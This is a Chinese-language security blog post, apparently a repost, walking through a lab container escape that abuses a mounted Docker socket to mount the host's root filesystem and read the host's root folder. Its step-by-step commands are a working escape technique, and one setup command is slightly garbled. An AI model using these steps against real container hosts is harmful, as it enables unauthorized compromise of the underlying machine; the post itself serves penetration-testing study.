Docker逃逸——挂载逃逸

admin 2025年5月13日01:13:03评论3 views字数 971阅读3分14秒阅读模式
由于,在渗透测试过程中,我们经常会遇到拿到shell上线之后,发现在docker环境中,此时就需要我们进行docker逃逸,所以就有了这一篇文章来记录一下靶场中的docker逃逸之挂载逃逸。

1. 本地环境

虚拟机Debian 10.x 64位

2. 环境搭建

2.1 运行一个Debian 容器并挂载宿主机的 Docker 套接字docker.sock

docker run -itd --name with_docker_sock -/var/run/docker.sock:/var/run/docker.sock debian

Docker逃逸——挂载逃逸

2.2 查看容器id

docker ps
Docker逃逸——挂载逃逸

2.3 进入容器

docker exec -it 389b0a208c8c bash
Docker逃逸——挂载逃逸

可以看到容器根目录下有一个.dockerenv的文件,这也是docker环境判断的一个依据

接下来就进入到逃逸环节

3. 逃逸

3.1 查找docker.sock文件

docker.sock是docker守护进程监听的Unix域套接字

当你在host上安装并且启动好docker,docker daemon 会自动创建一个socket文件并且保存在/var/run/docker.sock目录下。docker daemon监听着socket中即将到来的链接请求(可以通过-H unix:///var/run/docker.sock设定docker daemon监听的socket文件,-H参数还可以设定监听tcp:port或者其它的unix socket),当一个链接请求到来时,它会使用标准IO来读写数据。
find / -name docker.sock
Docker逃逸——挂载逃逸

3.2 进行挂载逃逸

在上一步中,我们找到了docker.sock文件。接下来,将宿主机根目录挂载到当前容器的test目录下

docker run -it -v /:/test ubuntu bash 
Docker逃逸——挂载逃逸

执行命令后出现以上错误,则需要在容器中安装docker环境

apt update && apt install -y docker.io

下载完成之后,就可以执行刚才的挂载命令

Docker逃逸——挂载逃逸

Docker逃逸——挂载逃逸

接下来进入到刚才挂载的test/root文件夹下

test/root文件夹

Docker逃逸——挂载逃逸

宿主机的root文件夹

Docker逃逸——挂载逃逸

可以看到已经成功逃逸

欢迎关注我的博客https://blog.pledgesec.top/

原文始发于微信公众号(01安全屋):Docker逃逸——挂载逃逸

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月13日01:13:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Docker逃逸——挂载逃逸http://cn-sec.com/archives/4050101.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息